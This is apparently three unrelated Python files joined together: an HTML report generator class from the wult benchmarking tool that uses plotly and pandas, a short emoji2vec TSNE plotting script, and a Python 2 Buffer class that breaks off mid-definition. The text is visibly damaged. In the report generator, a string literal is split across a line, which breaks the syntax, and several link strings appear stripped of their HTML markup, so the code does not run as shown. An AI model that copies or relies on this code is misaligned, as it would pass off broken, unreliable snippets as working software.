import shutil
import logging
import itertools
from pathlib import Path
import numpy
import pandas
import plotly
from pepclibs.helperlibs import Trivial, FSHelpers
from pepclibs.helperlibs.Exceptions import Error
from wultlibs.helperlibs import Jinja2
from wultlibs.rawresultlibs import RORawResult

_LOG = logging.getLogger()

# List of diagram markers that we use in scatter plots.
_SCATTERPLOT_MARKERS = ['circle', 'square', 'diamond', 'cross', 'triangle-up', 'pentagon']

def _colname_to_fname(colname):
    """
    Turn column name 'colname' into a file name, replacing problematic characters that browsers
    may refuse.
    """

    return colname.replace("%", "_pcnt").replace("/", "-to-")

class HTMLReportBase:
    """This is the base class for generating HTML reports for raw test results."""

    def _prepare_intro_table(self, stats_paths, logs_paths, descr_paths):
        """
        Create the intro table, which is the very first table in the report and it shortly
        summarizes the entire report. The 'stats_paths' should be a dictionary indexed by report ID
        and containing the stats directory path. Similarly, the 'logs_paths' and 'descr_paths'
        contains paths to the logs and the test result description files.
        """

        intro_tbl = {}
        intro_tbl["Title"] = {}
        for res in self.rsts:
            intro_tbl[res.reportid] = {}

        # Add tool information.
        key = "tool_info"
        intro_tbl["Title"][key] = "Data collection tool"
        for res in self.rsts:
            intro_tbl[res.reportid][key] = f"{res.info['toolname'].capitalize()} version " \
                                         f"{res.info['toolver']}"

        # Add datapoint counts.
        key = "datapoints_cnt"
        intro_tbl["Title"][key] = "Datapoints Count"
        for res in self.rsts:
            intro_tbl[res.reportid][key] = len(res.df.index)

        # Add measurement resolution.
        for res in self.rsts:
            key = "device_resolution"
            resolution = res.info.get("resolution")
            if resolution:
                intro_tbl["Title"][key] = "Device Resolution"
                intro_tbl[res.reportid][key] = f"{resolution}ns"

        # Add links to the stats directories.
        if stats_paths:
            key = "stats"
            intro_tbl["Title"][key] = "Statistics"
            for res in self.rsts:
                path = stats_paths.get(res.reportid, "Not available")
                intro_tbl[res.reportid][key] = path

        # Add links to the logs directories.
        if logs_paths:
            key = "logs"
            intro_tbl["Title"][key] = "Logs"
            for res in self.rsts:
                path = logs_paths.get(res.reportid, "Not available")
                intro_tbl[res.reportid][key] = path

        # Add links to the descriptions.
        if descr_paths:
            key = "descr"
            intro_tbl["Title"][key] = "Test description"
            for res in self.rsts:
                path = descr_paths.get(res.reportid, "Not available")
                intro_tbl[res.reportid][key] = path

        return intro_tbl

    def _prepare_links_table(self):
        """Creates the links table which refers to HTML sub-pages."""

        links_tbl = {}
        for colname in itertools.islice(self._pinfos, 1, None):
            links_tbl[colname] = {}
            links_tbl[colname]["name"] = f"{colname}"
            fname = _colname_to_fname(colname) + ".html"
            links_tbl[colname]["fname"] = fname
            links_tbl[colname]["hlink"] = f"{colname}"

        return links_tbl

    def _prepare_smrys_tables(self, pinfos):
        """
        Summaries table includes values like average and median values for a single metric (column).
        It "summarizes" the metric. This function creates summaries table for each metrics included
        in 'pinfos' list.
        """

        if not pinfos:
            return {}

        smrys_tbl = {}
        smrys_tbl["Title"] = {}
        for res in self.rsts:
            smrys_tbl[res.reportid] = {}

        for pinfo in pinfos:
            for colname in (pinfo["colname"], pinfo["xcolname"]):
                if colname in smrys_tbl["Title"]:
                    continue

                # Skip non-numeric columns, as summaries are calculated only for numeric columns.
                if not self.rsts[0].is_numeric(colname):
                    continue

                # Each column name is represented by a row in the summary table. Fill the "Title"
                # column.
                title_dict = smrys_tbl["Title"][colname] = {}
                defs = self._refdefs.info[colname]

                title_dict["colname"] = colname
                unit = defs.get("short_unit", "")
                if unit:
                    title_dict["colname"] += f", {unit}"
                title_dict["coldescr"] = defs["descr"]

                title_dict["funcs"] = {}
                for funcname in self._smry_funcs:
                    # Select only those functions that are present in all test results. For example,
                    # 'std' will not be present if the result has only one datapoint. In this case,
                    # we need to exclude the 'std' function.
                    if all(res.smrys[colname].get(funcname) for res in self.rsts):
                        title_dict["funcs"][funcname] = RORawResult.get_smry_func_descr(funcname)

                # Now fill the values for each result.
                for res in self.rsts:
                    res_dict = smrys_tbl[res.reportid][colname] = {}
                    res_dict["funcs"] = {}

                    for funcname in title_dict["funcs"]:
                        val = res.smrys[colname][funcname]
                        fmt = "{}"
                        if defs["type"] == "float":
                            fmt = "{:.2f}"

                        fdict = res_dict["funcs"][funcname] = {}
                        fdict["val"] = fmt.format(val)
                        fdict["raw_val"] = val

                        if self._refres.reportid == res.reportid:
                            fdict["hovertext"] = "This is the reference result, other results " \
                                                 "are compared to this one."
                            continue

                        ref_fdict = smrys_tbl[self._refres.reportid][colname]["funcs"][funcname]
                        change = val - ref_fdict["raw_val"]
                        if ref_fdict["raw_val"]:
                            percent = (change / ref_fdict["raw_val"]) * 100
                        else:
                            percent = change
                        change = fmt.format(change) + unit
                        percent = "{:.1f}%".format(percent)
                        fdict["hovertext"] = f"Change: {change} ({percent})"

        return smrys_tbl

    def _copy_raw_data(self):
        """Copy raw test results to the output directory."""

        if self.relocatable == "noraw":
            return (None, None, None)

        # Paths to the stats directory.
        stats_paths = {}
        # Paths to the logs directory.
        logs_paths = {}
        # Paths to test reports' description files.
        descr_paths = {}

        for res in self.rsts:
            srcpath = res.dirpath
            resrootdir = "raw-" + res.reportid
            dstpath = self.outdir.joinpath(resrootdir)

            if self.relocatable == "copy":
                FSHelpers.copy_dir(srcpath, dstpath, exist_ok=True, ignore=["html-report"])
                FSHelpers.set_default_perm(dstpath)
            else:
                FSHelpers.move_copy_link(srcpath, dstpath, action="symlink", exist_ok=True)

            if res.stats_path.is_dir():
                hlink = f"Statistics"
                stats_paths[res.reportid] = hlink
            if res.logs_path.is_dir():
                hlink = f"Logs"
                logs_paths[res.reportid] = hlink
            if res.descr_path.is_file():
                hlink = f"Test description"
                descr_paths[res.reportid] = hlink

        return stats_paths, logs_paths, descr_paths

    def _generate_report(self):
        """Put together the final HTML report."""

        _LOG.info("Generating the HTML report.")

        # Make sure the output directory exists.
        try:
            self.outdir.mkdir(parents=True, exist_ok=True)
        except OSError as err:
            raise Error(f"failed to create directory '{self.outdir}': {err}") from None

        stats_paths, logs_paths, descr_paths = self._copy_raw_data()

        # Find the styles and templates paths.
        templdir = FSHelpers.find_app_data("wult", Path("templates"),
                                           descr="HTML report Jinja2 templates")
        csspath = FSHelpers.find_app_data("wult", Path("css/style.css"),
                                          descr="HTML report CSS file")

        # Copy the styles file to the output directory.
        dstpath = self.outdir.joinpath("style.css")
        try:
            shutil.copyfile(csspath, dstpath)
        except OSError as err:
            raise Error(f"cannot copy CSS file from '{csspath}' to '{dstpath}':\n{err}") from None

        # The intro table is only included into the main HTML page.
        intro_tbl = self._prepare_intro_table(stats_paths, logs_paths, descr_paths)
        links_tbl = self._prepare_links_table()

        jenv = Jinja2.build_jenv(templdir, trim_blocks=True, lstrip_blocks=True)

        all_pinfos = self._pinfos
        if not self._pinfos:
            # This may happen if there are no diagrams to plot. In this case we still want to
            # generate an HTML report, but without diagrams.
            _LOG.warning("no diagrams to plot")
            all_pinfos = {"Dummy" : {}}

        # Each column name gets its own HTML page.
        for colname, pinfos in all_pinfos.items():
            smrys_tbl = self._prepare_smrys_tables(pinfos)

            # Render the template.
            jenv.globals["smrys_tbl"] = smrys_tbl
            jenv.globals["pinfos"] = pinfos
            jenv.globals["colname"] = colname
            jenv.globals["title_descr"] = self.title_descr
            jenv.globals["toolname"] = self._refinfo["toolname"]

            if intro_tbl:
                jenv.globals["intro_tbl"] = intro_tbl
                jenv.globals["links_tbl"] = links_tbl
                templfile = outfile = "index.html"
                intro_tbl = None
            else:
                templfile = "metric.html"
                outfile = links_tbl[colname]["fname"]

            Jinja2.render_template(jenv, Path(templfile), outfile=self.outdir.joinpath(outfile))

    def _add_pinfo(self, xcolname, ycolname, is_hist=False):
        """Add information about a plot to 'self._create_diagrams'."""

        pinfo = {}
        pinfo["xcolname"] = xcolname
        pinfo["ycolname"] = ycolname
        pinfo["fname"] = _colname_to_fname(pinfo['ycolname']) + "-vs-" + \
                         _colname_to_fname(pinfo['xcolname']) + ".html"

        if is_hist:
            colname = xcolname
        else:
            colname = ycolname

        pinfo["colname"] = colname

        if colname not in self._pinfos:
            self._pinfos[colname] = []
        self._pinfos[colname].append(pinfo)

        return pinfo

    def _base_unit(self, df, colname):
        """
        Convert columns with 'microsecond' units to seconds, and return the converted column.
        """

        # This is not generic, but today we have to deal only with microseconds, so this is good
        # enough.
        if self._refdefs.info[colname].get("unit") != "microsecond":
            return df[colname]

        base_colname = f"{colname}_base"
        if base_colname not in df:
            df[base_colname] = df[colname] / 1000000
        return df[base_colname]

    def _create_diagram_axis_info(self, axis, pinfo):
        """Configure axis information dictionary for plotly's 'Figure()' method."""

        nkey = f"{axis}colname"
        colname = pinfo[nkey]
        defs = self._refdefs.info.get(colname, {})
        title = defs.get("title", colname)

        fontfmt = {"family" : "Arial, sans-serif",
                   "size"   : 18,
                   "color"  : "black"}

        axis = {"showline"  : True,
                "showgrid"  : True,
                "title"     : title,
                "titlefont" : fontfmt,
                "ticks"     : "outside",
                "tickwidth" : 1,
                "showticklabels" : True,
                "linewidth" : 1,
                "linecolor" : "black",
                "zeroline" : True,
                "zerolinewidth" : 1,
                "zerolinecolor" : "black"}

        if defs.get("unit") == "microsecond":
            axis["tickformat"] = ".3s"
            axis["ticksuffix"] = "s"
            axis["hoverformat"] = ".4s"
        elif colname == "Percentile":
            axis["ticksuffix"] = "%"

        if defs and not self.rsts[0].is_numeric(colname):
            axis["type"] = "category"
            axis["autorange"] = False
            axis["categoryorder"] = "category ascending"

        return axis

    def _create_hover_text(self, res, df, pinfo):
        """
        Create and return a list containing hover text for every datapoint in the 'df' dataframe.
        """

        xcolname, ycolname = pinfo["xcolname"], pinfo["ycolname"]
        _LOG.debug("Preparing hover text for '%s vs %s'", xcolname, ycolname)

        # The loop below creates the following objects.
        #  o colnames - names of the columns to include to the hover text.
        #  o fmts - the hover text format.
        colnames = []
        fmts = []
        for colname in self._hov_colnames[res.reportid]:
            if colname not in df:
                continue
            if colname in (xcolname, ycolname):
                # The X and Y datapoint values will be added automatically.
                continue

            defs = res.defs.info[colname]
            fmt = f"{colname}: {{"
            if defs["type"] == "float":
                fmt += ":.2f"
            fmt += "}"
            unit = defs.get("short_unit")
            if unit and unit not in colname:
                fmt += f"{unit}"

            colnames.append(colname)
            fmts.append(fmt)

        text = []
        fmt = "
".join(fmts)

        for row in df[colnames].itertuples(index=False):
            text.append(fmt.format(*row))

        return text

    def _create_diagram(self, gobjs, pinfo):
        """Put the 'gobjs' objects to a single plot and save it in the output directory."""

        xaxis = self._create_diagram_axis_info("x", pinfo)
        yaxis = self._create_diagram_axis_info("y", pinfo)

        legend_format = {"font"    : {"size" : 14},
                         "bgcolor" : "#E2E2E2",
                         "borderwidth" : 2,
                         "bordercolor" : "#FFFFFF"}

        layout = {"showlegend"  : True,
                  "hovermode"   : "closest",
                  "xaxis"   : xaxis,
                  "yaxis"   : yaxis,
                  "barmode" : "overlay",
                  "bargap"  : 0,
                  "legend"  : legend_format}

        outdir = self.outdir.joinpath("plots")
        try:
            outdir.mkdir(parents=True, exist_ok=True)
        except OSError as err:
            raise Error(f"failed to create directory '{outdir}': {err}") from None

        fpath = outdir.joinpath(pinfo["fname"])

        try:
            fig = plotly.graph_objs.Figure(data=gobjs, layout=layout)
            if hasattr(fig, "update_layout") and fig.update_layout:
                # In plotly version 4 the default theme has changed. The old theme is called
                # 'plotly_white'. Use it to maintain consistent look for plotly v3 and v4.
                fig.update_layout(template="plotly_white")
            plotly.offline.plot(fig, filename=str(fpath), auto_open=False,
                                config={"showLink" : False})
        except Exception as err:
            raise Error(f"failed to create the '{pinfo['fname']}' diagram:\n{err}") from err

        pinfo["path"] = str(fpath.relative_to(self.outdir))

    @staticmethod
    def _reduce_df_density(res, xcolname, ycolname):
        """
        This function reduces the density of the dataframe belonging to the test result 'res'. The
        density reduction is only used for the scatter plot. The problem it solves is that that
        there are thousands and thousands of "uninteresting" datapoints per one "interesting"
        datapoint (an outlier). And if the total amount of datapoints is huge (say, 10000000), a web
        browser simply cannot show it because the plot is too large (gigabytes). So what we are
        trying to do is to:
        1. Split the scatter plot on NxN squares, where N is the bins count.
        2. Calculate how many datapoints each square contains (the 2D histogram).
        3. If a square has few datapoints, these are outliers, we leave them alone. "Few" is defined
           by the "low threshold" value.
        4. The for the squares containing many datapoints, we do the reduction. We basically drop
           the datapoints and leave maximum "high threshold" amount of datapoints. And we try to
           scale the amount of datapoints left proportionally to the original value between the
           values of ("low threshold", "high threshold").
        """

        def _map_non_numeric(colname):
            """
            In order to reduce density for a non-numeric column, we need to map that column to
            unique numbers, find datapoints to keep, and then reduce the dataframe. This function
            does exactly that - maps a non-numeric column 'colname' to unique numbers and returns
            the corresponding pandas series object.
            """

            if not res.is_numeric(colname):
                num_rmap = {name : idx for idx, name in enumerate(df[colname].unique())}
                return df[colname].map(num_rmap)

            return df[colname]

        lo_thresh = 20
        hi_thresh = 200
        bins_cnt = 100

        _LOG.info("Reducing density for report ID '%s', diagram '%s-vs-%s'",
                  res.reportid, ycolname, xcolname)

        # Create a new dataframe with just the X- and Y-columns, which we'll be reducing. It should
        # be a bit more optimal than reducing the bigger original dataframe.
        df = res.df[[xcolname, ycolname]]

        xdata = _map_non_numeric(xcolname)
        ydata = _map_non_numeric(ycolname)

        # Crete a histogram for the columns in question.
        hist, xbins, ybins = numpy.histogram2d(xdata, ydata, bins_cnt)
        # Turn the histogram into a dataframe.
        hist = pandas.DataFrame(hist, dtype=int)

        hist_max = hist.max().max()
        if hist_max <= lo_thresh:
            _LOG.debug("cancel density reduction: max frequency for '%s vs %s' is %d, but scaling "
                       "threshold is %d", xcolname, ycolname, hist_max, lo_thresh)
            return res.df

        # The histogram scaling factor.
        factor = hi_thresh / hist_max

        # Scale the histogram down. Do not change the buckets with few datapoints (< lo_thresh),
        # scale down all the other buckets so that they would have maximum 'hi_thresh' datapoints.
        scaling_func = lambda f: max(int(f * factor), lo_thresh) if f > lo_thresh else f
        hist = hist.applymap(scaling_func)

        # Create a copy of the histogram, but populate it with zeroes.
        cur_hist = pandas.DataFrame(0, columns=hist.columns, index=hist.index)

        # Calculate bin indexes for all the X and Y values in the dataframe.
        xindeces = numpy.digitize(xdata, xbins[:-1])
        yindeces = numpy.digitize(ydata, ybins[:-1])

        # This is how many datapoints we are going to have in the reduced dataframe.
        reduced_datapoints_cnt = hist.values.sum()
        _LOG.debug("reduced datapoints count is %d", reduced_datapoints_cnt)

        # Here we'll store 'df' indexes of the rows that will be included into the resulting
        # reduced dataframe.
        copy_cols = []

        for idx in range(0, len(df)):
            xidx = xindeces[idx] - 1
            yidx = yindeces[idx] - 1

            if cur_hist.at[xidx, yidx] >= hist.at[xidx, yidx]:
                continue

            cur_hist.at[xidx, yidx] += 1
            copy_cols.append(idx)

        # Include all the colums in reduced version of the dataframe.
        return res.df.loc[copy_cols]

    def _generate_scatter_plots(self):
        """Generate the scatter plots."""

        plot_axes = [(x, y) for x, y in itertools.product(self.xaxes, self.yaxes) if x != y]

        if self.exclude_xaxes and self.exclude_yaxes:
            x_axes = self._refres.find_colnames([self.exclude_xaxes])
            y_axes = self._refres.find_colnames([self.exclude_yaxes])
            exclude_axes = list(itertools.product(x_axes, y_axes))
            plot_axes = [axes for axes in plot_axes if axes not in exclude_axes]

        for xcolname, ycolname in plot_axes:
            _LOG.info("Generating scatter plot: %s vs %s.", xcolname, ycolname)

            pinfo = self._add_pinfo(xcolname, ycolname, is_hist=False)
            markers = itertools.cycle(_SCATTERPLOT_MARKERS)
            gobjs = []

            for res in self.rsts:
                df = self._reduce_df_density(res, xcolname, ycolname)

                # How many datapoints were included into the scatter plot.
                pinfo["sp_datapoints_cnt"] = len(df.index)

                text = self._create_hover_text(res, df, pinfo)

                # Non-numeric columns will have only few unique values, e.g. 'ReqState' might have
                # "C1", "C1E" and "C6". Using dotted markers for such data will have 3 thin lines
                # which is hard to see. Improve it by using line markers to turn lines into wider
                # "bars".
                if all((res.is_numeric(xcolname), res.is_numeric(ycolname))):
                    marker_size = 4
                    marker_symbol = next(markers)
                else:
                    marker_size = 30
                    marker_symbol = "line-ns"

                marker = {"size" : marker_size, "symbol" : marker_symbol, "opacity" : self._opacity}
                try:
                    gobj = plotly.graph_objs.Scattergl(x=self._base_unit(df, xcolname),
                                                       y=self._base_unit(df, ycolname),
                                                       opacity=self._opacity,
                                                       text=text, mode="markers",
                                                       name=res.reportid, marker=marker)
                except Exception as err:
                    raise Error(f"failed to create scatter plot '{ycolname}-vs-{xcolname}':\n"
                                f"{err}") from err
                gobjs.append(gobj)

            self._create_diagram(gobjs, pinfo)

    def _generate_histograms(self):
        """Generate the scatter plots."""

        def get_xbins(xcolname):
            """Returns the 'xbins' dictinary for plotly's 'Histrogram()' method."""

            xmin, xmax = (float("inf"), -float("inf"))
            for res in self.rsts:
                # In case of non-numeric column there is only one x-value per bin.
                if not res.is_numeric(xcolname):
                    return {"size" : 1}

                xdata = self._base_unit(res.df, xcolname)
                xmin = min(xmin, xdata.min())
                xmax = max(xmax, xdata.max())

            return {"size" : (xmax - xmin) / 1000}

        xcolnames = Trivial.list_dedup(self.hist + self.chist)
        hist_set = set(self.hist)
        chist_set = set(self.chist)

        for xcolname in xcolnames:
            if xcolname in hist_set:
                ycolname = "Count"
                pinfo = self._add_pinfo(xcolname, ycolname, is_hist=True)
                _LOG.info("Generating histogram: %s vs %s.", xcolname, ycolname)
                gobjs = []
                xbins = get_xbins(xcolname)
                for res in self.rsts:
                    xdata = self._base_unit(res.df, xcolname)
                    try:
                        gobj = plotly.graph_objs.Histogram(x=xdata, name=res.reportid, xbins=xbins,
                                                           opacity=self._opacity)
                    except Exception as err:
                        raise Error(f"failed to create histogram '{ycolname}-vs-{xcolname}':\n"
                                    f"{err}") from err
                    gobjs.append(gobj)

                self._create_diagram(gobjs, pinfo)

            if xcolname in chist_set:
                ycolname = "Percentile"
                _LOG.info("Generating cumulative histogram: %s vs %s.", xcolname, ycolname)
                pinfo = self._add_pinfo(xcolname, ycolname, is_hist=True)
                gobjs = []
                if xcolname not in hist_set:
                    xbins = get_xbins(xcolname)
                for res in self.rsts:
                    xdata = self._base_unit(res.df, xcolname)
                    try:
                        gobj = plotly.graph_objs.Histogram(x=xdata, name=res.reportid, xbins=xbins,
                                                           cumulative=dict(enabled=True),
                                                           histnorm="percent",
                                                           opacity=self._opacity)
                    except Exception as err:
                        raise Error(f"failed to create cumulative histogram "
                                    f"'{ycolname}-vs-{xcolname}':\n{err}") from err
                    gobjs.append(gobj)

                self._create_diagram(gobjs, pinfo)

    def _calc_smrys(self):
        """Calculate summaries that we are going to show in the summary table."""

        for res in self.rsts:
            _LOG.debug("calculate summary functions for '%s'", res.reportid)
            res.calc_smrys(regexs=self._smry_colnames, funcnames=self._smry_funcs)

    def _mangle_loaded_res(self, res): # pylint: disable=no-self-use, unused-argument
        """
        This method is called for every dataframe corresponding to the just loaded CSV file. The
        subclass can override this method to mangle the dataframe.
        """

        for colname in res.df:
            defs = res.defs.info.get(colname)
            if not defs:
                continue

            # Some columns should be dropped if they are "empty", i.e., contain only zero values.
            # For example, the C-state residency columns may be empty. This usually means that the
            # C-state was either disabled or just does not exist.
            if defs.get("drop_empty") and not res.df[colname].any():
                _LOG.debug("dropping empty column '%s'", colname)
                res.df.drop(colname, axis="columns", inplace=True)

        # Update columns lists in case some of the columns were removed from the loaded dataframe.
        for name in ("_smry_colnames", "xaxes", "yaxes", "hist", "chist"):
            colnames = []
            for colname in getattr(self, name):
                if colname in res.df:
                    colnames.append(colname)
            setattr(self, name, colnames)

        for name in ("_hov_colnames", ):
            colnames = []
            val = getattr(self, name)
            for colname in val[res.reportid]:
                if colname in res.df:
                    colnames.append(colname)
            val[res.reportid] = colnames
        return res.df

    def _load_results(self):
        """Load the test results from the CSV file and/or apply the columns selector."""

        _LOG.debug("summaries will be calculated for these columns: %s",
                   ", ".join(self._smry_colnames))
        _LOG.debug("additional colnames: %s", ", ".join(self._more_colnames))

        for res in self.rsts:
            _LOG.debug("hover colnames: %s", ", ".join(self._hov_colnames[res.reportid]))

            colnames = []
            for colname in self._hov_colnames[res.reportid] + self._more_colnames:
                if colname in res.colnames_set:
                    colnames.append(colname)

            csel = Trivial.list_dedup(self._smry_colnames + colnames)
            res.set_csel(csel)
            res.load_df()

            # We'll be dropping columns and adding temporary columns, so we'll affect the original
            # dataframe. This is more effecient than creating copies.
            self._mangle_loaded_res(res)

        # Some columns from the axes lists could have been dropped, updata the lists.
        self._drop_absent_colnames()

    def generate(self):
        """Generate the HTML report and store the result in 'self.outdir'.

        Important note: this method will modify the input test results in 'self.rsts'. This is done
        for effeciency purposes, to avoid copying the potentially large amounts of data (pandas
        dataframes).
        """

        if self.relocatable not in ("copy", "noraw", "symlink"):
            raise Error("bad 'relocatable' value, use one of: copy, noraw, symlink")

        # Load the required datapoints into memory.
        self._load_results()

        # Calculate the summaries for the datapoints, like min. and max. values.
        self._calc_smrys()

        # Generate the plots.
        self._generate_scatter_plots()
        self._generate_histograms()

        # Put together the final HTML report.
        self._generate_report()

    def set_hover_colnames(self, regexs):
        """
        This methods allows for specifying CSV file column names that have to be included to the
        hover test on the scatter plot. The 'regexs' argument should be a list of hover text colum
        name regular expressions. In other words, each element of the list will be treated as a
        regular expression. Every CSV colum name will be matched against this regular expression,
        and matched column names will be added to the hover text.
        """

        for res in self.rsts:
            self._hov_colnames[res.reportid] = res.find_colnames(regexs, must_find_any=False)

    def _drop_absent_colnames(self):
        """
        Verify that test results provide the columns in 'xaxes', 'yaxes', 'hist' and 'chist'. Drop
        the absent columns. Also drop uknown columns (those not present in the "definitions").
        """

        lists = ("xaxes", "yaxes", "hist", "chist")

        for name in lists:
            intersection = set(getattr(self, name))
            for res in self.rsts:
                intersection = intersection & res.colnames_set
            colnames = []
            for colname in getattr(self, name):
                if colname in intersection:
                    colnames.append(colname)
                else:
                    _LOG.warning("dropping column '%s' from '%s' because it is not present in one "
                                 "of the results", colname, name)
            setattr(self, name, colnames)

        for name in lists:
            for res in self.rsts:
                colnames = []
                for colname in getattr(self, name):
                    if colname in res.defs.info:
                        colnames.append(colname)
                    else:
                        _LOG.warning("dropping column '%s' from '%s' because it is not present in "
                                     "the definitions file at '%s'", colname, name, res.defs.path)
            setattr(self, name, colnames)

    def _init_colnames(self):
        """
        Assign default values to the diagram/histogram column names and remove possible
        duplication in user-provided input.
        """

        for name in ("xaxes", "yaxes", "hist", "chist"):
            if getattr(self, name):
                # Convert list of regular expressions into list of names.
                colnames = self._refres.find_colnames(getattr(self, name))
            else:
                colnames = []
            setattr(self, name, colnames)

        self._drop_absent_colnames()

        # Both X- and Y-axes are required for scatter plots.
        if not self.xaxes or not self.yaxes:
            self.xaxes = self.yaxes = []

        # Ensure '_hov_colnames' dictionary is initialized.
        self.set_hover_colnames(())

    def _validate_init_args(self):
        """Validate the class constructor input arguments."""

        if self.outdir.exists() and not self.outdir.is_dir():
            raise Error(f"path '{self.outdir}' already exists and it is not a directory")

        # Ensure that results are compatible.
        rname, rver = self._refinfo["toolname"], self._refinfo["toolver"]
        for res in self.rsts:
            name, ver = res.info["toolname"], res.info["toolver"]
            if name != rname:
                raise Error(f"the following test results are not compatible:\n"
                            f"1. {self._refres.dirpath}: created by '{rname}'\n"
                            f"2. {res.dirpath}: created by '{name}'\n"
                            f"Cannot put incompatible results to the same report")
            if ver != rver:
                _LOG.warning("the following test results may be not compatible:\n"
                             "1. %s: created by '%s' version '%s'\n"
                             "2. %s: created by '%s' version '%s'",
                             self._refres.dirpath, rname, rver, res.dirpath, name, ver)

        # Ensure the report IDs are unique.
        reportids = set()
        for res in self.rsts:
            reportid = res.reportid
            if reportid in reportids:
                # Try to construct a unique report ID.
                for idx in range(1, 20):
                    new_reportid = f"{reportid}-{idx:02}"
                    if new_reportid not in reportids:
                        _LOG.warning("duplicate reportid '%s', using '%s' instead",
                                     reportid, new_reportid)
                        res.reportid = new_reportid
                        break
                else:
                    raise Error(f"too many duplicate report IDs, e.g., '{reportid}' is problematic")

            reportids.add(res.reportid)

        if self.title_descr and Path(self.title_descr).is_file():
            try:
                with open(self.title_descr, "r") as fobj:
                    self.title_descr = fobj.read()
            except OSError as err:
                raise Error(f"failed to read the report description file {self.title_descr}:\n"
                            f"{err}") from err

        for res in self.rsts:
            if res.dirpath.resolve() == self.outdir.resolve():
                # Don't create report in results directory, use 'html-report' subdirectory instead.
                self.outdir = self.outdir.joinpath("html-report")

    def __init__(self, rsts, outdir, title_descr=None, xaxes=None, yaxes=None, hist=None,
                 chist=None, exclude_xaxes=None, exclude_yaxes=None):
        """
        The class constructor. The arguments are as follows.
          * rsts - list of 'RORawResult' objects representing the raw test results to generate the
                   HTML report for.
          * outdir - the output directory path to store the HTML report at.
          * title_descr - a string describing this report or a file path containing the description.
          *               The description will be put at the top part of the HTML report. It should
          *               describe the report in general (e.g., it compares platform A to platform
          *               B). By default no title description is added to the HTML report.
          * xaxes - list of regular expressions matching datapoints CSV file column names to use for
                    the X axis of scatter plot diagrams. A scatter plot will be generated for each
                    combination of 'xaxes' and 'yaxes' column name pair (except for the pairs in
                    'exclude_xaxes'/'exclude_yaxes'). Default is the first column in the datapoints
                    CSV file.
          * yaxes - list of regular expressions matching datapoints CSV file column names to use for
                    the Y axis of scatter plot diagrams. Default is the second column in the
                    datapoints CSV file.
          * hist - list of regular expressions matching datapoints CSV file column names to create a
                   histogram for. Default is the first column in the datapoints CSV file. An empty
                   string can be used to disable histograms.
          * chist - list of regular expressions matching datapoints CSV file column names to create
                    a cumulative histogram for. Default is he first column in the datapoints CSV
                    file. An empty string can be used to disable cumulative histograms.
          * exclude_xaxes - by default all diagrams of X- vs Y-axes combinations will be created.
                            The 'exclude_xaxes' is a list regular expressions matching datapoints
                            CSV file column names. There will be no scatter plot for each
                            combinations of 'exclude_xaxes' and 'exclude_yaxes'. In other words,
                            this argument along with 'exclude_yaxes' allows for excluding some
                            diagrams from the 'xaxes' and 'yaxes' combinations.
          * exclude_yaxes - same as 'exclude_xaxes', but for Y-axes.
        """

        self.rsts = rsts
        self.outdir = Path(outdir)
        self.title_descr = title_descr
        self.xaxes = xaxes
        self.yaxes = yaxes
        self.hist = hist
        self.chist = chist
        self.exclude_xaxes = exclude_xaxes
        self.exclude_yaxes = exclude_yaxes

        if (self.exclude_xaxes and not self.exclude_yaxes) or \
           (self.exclude_yaxes and not self.exclude_xaxes):
            raise Error("'exclude_xaxes' and 'exclude_yaxes' must both be 'None' or both not be "
                        "'None'")

        # Users can change this to 'copy' or 'noraw' to make the reports relocatable. In the former
        # case the raw results will be copied from the test result directories to the output
        # directory. In the latter case, the raw results won't be referenced at all, neither from
        # the HTML report, nor at the file-system level. The logs, statistics and other stuff from
        # the raw result will also be excluded.
        self.relocatable = "symlink"

        # The first result is the 'reference' result.
        self._refres = rsts[0]
        # The reference definitions - it contains helpful information about every CSV file column,
        # for example the title, units, and so on.
        self._refdefs = self._refres.defs
        # The raw reference result information.
        self._refinfo = self._refres.info

        # Names of columns in the datapoints CSV file to provide the summary function values for
        # (e.g., median, 99th percentile). The summaries will show up in the summary tables (one
        # table per metric).
        self._smry_colnames = None
        # List of functions to provide in the summary tables.
        self._smry_funcs = ("nzcnt", "max", "99.999%", "99.99%", "99.9%", "99%", "med", "avg",
                            "min", "std")
        # The diagram/histogram transparency level. It is helpful to have some transparency in case
        # there are several test results rendered on the same diagram.
        self._opacity = 0.8 if len(self.rsts) > 1 else 1
        # Plot information dictionaries. This is a dictionary of of lists, each list containing
        # sub-dictionaries describing a single plot. The lists of sub-dictionaries are grouped by
        # the X" and "Y" axis column names, because later plots with the same "Y" and "Y" axes will
        # go to the same HTML page.
        self._pinfos = {}
        # Per-test result list of column names to include into the hover text of the scatter plot.
        # By default only the x and y axis values are included.
        self._hov_colnames = {}
        # Additional columns to load, if they exist in the CSV file.
        self._more_colnames = []

        self._init_colnames()

        # We'll provide summaries for every column participating in at least one diagram.
        smry_colnames = Trivial.list_dedup(self.yaxes + self.xaxes + self.hist + self.chist)
        # Summary functions table includes all test results, but the results may have a bit
        # different set of column names (e.g., they were collected with different wult versions # or
        # using different methods, or on different systems). Therefore, include only common columns
        # into it.
        self._smry_colnames = []
        for colname in smry_colnames:
            for res in rsts:
                if colname not in res.colnames_set:
                    break
            else:
                self._smry_colnames.append(colname)

        self._validate_init_args()


"""Visualize emoji clusters using TSNE"""

# External dependencies
import sklearn.manifold as man
import matplotlib.pyplot as plt
import pickle as pk
from gensim.models import KeyedVectors
import numpy as np
from pathlib import Path
# from matplotlib.font_manager import FontProperties

# Internal dependencies
#from model import Emoji2Vec
#from parameter_parser import CliParser

project_path = Path(__file__).parent.resolve()

# prop = FontProperties(fname=project_path / 'data\AppleColorEmoji.ttc')

def __visualize():
    # load vectors
    datapath = project_path / 'pre-trained/emoji2vec_bow.bin'
    wv_from_bin = KeyedVectors.load_word2vec_format(datapath, binary=True)
    f = open(project_path / 'data/vocab.txt', encoding='utf-8', errors='ignore')
    vocab = f.read().splitlines()
    #print(len(vocab))
    V = np.zeros(shape=[len(vocab), 300])
    for i, e in enumerate(vocab):
        V[i] = wv_from_bin[e]

    # plot the emoji using TSNE
    fig = plt.figure()
    ax = fig.add_subplot(111)
    tsne = man.TSNE(perplexity=50, n_components=2, init='random', n_iter=300000, early_exaggeration=1.0,
                    n_iter_without_progress=1000)
    trans = tsne.fit_transform(V)
    x, y = zip(*trans)
    plt.scatter(x, y, marker='o', alpha=0.0)

    for i in range(len(trans)):
        ax.annotate(vocab[i], xy=trans[i], textcoords='data')

    plt.grid()
    plt.show()

if __name__ == '__main__':
    __visualize()


import Queue

class Buffer(object):
    def __init__(self, log_item, handler, maxsize=128, prioritized=False):
        self.task = log_item.task
        self.channel = log_item.channel
        self.level = log_item.level
        self.handler = handler
